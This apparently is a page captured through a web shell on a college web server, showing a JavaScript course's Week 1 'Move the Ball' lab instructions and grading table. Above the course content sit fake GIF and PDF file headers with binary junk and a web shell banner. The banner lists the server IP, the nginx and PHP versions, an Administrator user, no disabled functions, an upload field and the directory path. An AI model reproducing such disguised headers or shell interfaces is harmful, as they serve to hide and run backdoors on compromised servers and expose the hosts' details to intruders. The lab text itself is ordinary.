GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/CST1022/AllenLabs/ |
Upload File : |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"><head> <title>Week 1</title> <meta http-equiv="Content-Type" content="text/html; charset=windows-1252"> <link href="Week%201%20Move%20the%20Ball_files/style.css" rel="stylesheet" type="text/css"> </head> <body data-pt-ext-theme="dark" data-pt-ext-size="standard" background="Week%201%20Move%20the%20Ball_files/background.gif"> <p align="center"><font size="5" face="Arial, Helvetica, sans-serif" color="#000066">MMDT1022 </font><font size="5" face="Arial" color="#000080">HTML II and Javascript</font><font size="5" face="Arial, Helvetica, sans-serif" color="#000080"><br> Week 1</font></p> <hr> <table width="750" cellpadding="4" border="0" bgcolor="#FFFFFF"> <tbody><tr> <td width="100%"> <p><font face="Arial"><font size="4" face="Arial, Helvetica, sans-serif">Week 1</font></font></p> <p><font face="Arial, Helvetica, sans-serif">Read chapters 1 & 2 in the JavaScript textbook. These chapters are introductory chapters on how to put javascript in your html code and how to do some basic things with JavaScript.</font></p> <p><font face="Arial, Helvetica, sans-serif">The best browser to use for Javascript debugging is Chrome.<br> More Tools -> Developer Tools </font></p> <p>Javascript patterns.<br> <a href="https://github.com/shichuan/javascript-patterns/tree/master/general-patterns">https://github.com/shichuan/javascript-patterns/tree/master/general-patterns</a><font face="Arial, Helvetica, sans-serif"><br> </font></p> <p> </p></td> </tr> </tbody></table> <br> <table width="750" cellpadding="4" border="0"> <tbody><tr> <td bgcolor="#FFFFFF"> <p><font size="4" face="Arial, Helvetica, sans-serif">Lab Move the Ball</font></p> <p><font face="Arial, Helvetica, sans-serif">Your instructor will show you an <a href="http://mmdt1022.ridgewater.net/exercises/moveball/movetheball.html">example</a> to follow</font><font size="4" face="Arial, Helvetica, sans-serif">.</font></p> <p><img src="Week%201%20Move%20the%20Ball_files/movetheball.png" alt="Screen Shot" width="408" height="463"></p> <p><font face="Arial, Helvetica, sans-serif">File 1 - Create a html document. This document needs a title of "Move the Ball - my name". This document contains 5 buttons. The buttons will be labelled "Up", "Down", "Left", "Right", and "Change Ball".</font> Create a "ball" using the * character. Apply styling information to it to make it large and to give it an absolute positon. There will be <strong>no</strong> Javascript in this document. This document will, however, reference an external javascript file.</p> <p><font face="Arial, Helvetica, sans-serif">File</font><font face="Arial, Helvetica, sans-serif"> 2 - Create a javascript document.<br> </font></p> <blockquote> <p><font face="Arial, Helvetica, sans-serif"> Part 1 - Create a function initAll() that sets the initial position of the ball, </font> sets the onclick event of the directional buttons to call function moveBall, and sets the onclick event of the change ball button to call function changeBallChar.</p> <p>Part 2 - Create a function moveBall() that moves the ball around on the screen. Use the case decision structure to decide what to do based on which of the direction buttons was clicked.</p> <p><font face="Arial, Helvetica, sans-serif">Part 3 - Create a function changeBallChar() that uses a prompt method, to have the user enter a new ball character. Provide the default character of "*".</font> </p> <p>Part 4 - Create a function keyHit() that shows what key is being pressed on the keyboard and moves the ball around on the screen. Use the case decision structure to decide what to do based on which of the arrow buttons on the keyboard have been pressed.</p> </blockquote> <table width="500" cellspacing="0" cellpadding="5" border="1"> <tbody><tr> <td width="85%"><b>Grading Criteria</b></td> <td width="15%" align="right"><b>Points<br> 20</b></td> </tr> <tr> <td width="85%">File 1 - html document with buttons</td> <td width="15%" align="right">4</td> </tr> <tr> <td width="85%">File 2 Part 1 - Javascript function initAll() </td> <td width="15%" align="right">4</td> </tr> <tr> <td width="85%">File 2 Part 2 - Javascript function moveBall()</td> <td width="15%" align="right">4</td> </tr> <tr> <td width="85%">File 2 Part 3 - Javascript function changeBallChar()</td> <td width="15%" align="right">4</td> </tr> <tr> <td width="85%">File 2 Part 4 - Javascript function keyHit()</td> <td width="15%" align="right">4</td> </tr> </tbody></table> <p>Assignment is due one week from when it was assigned. 50% penalty if late.</p></td> </tr> </tbody></table> <hr> <p> </p> <p> </p> <div></div></body></html>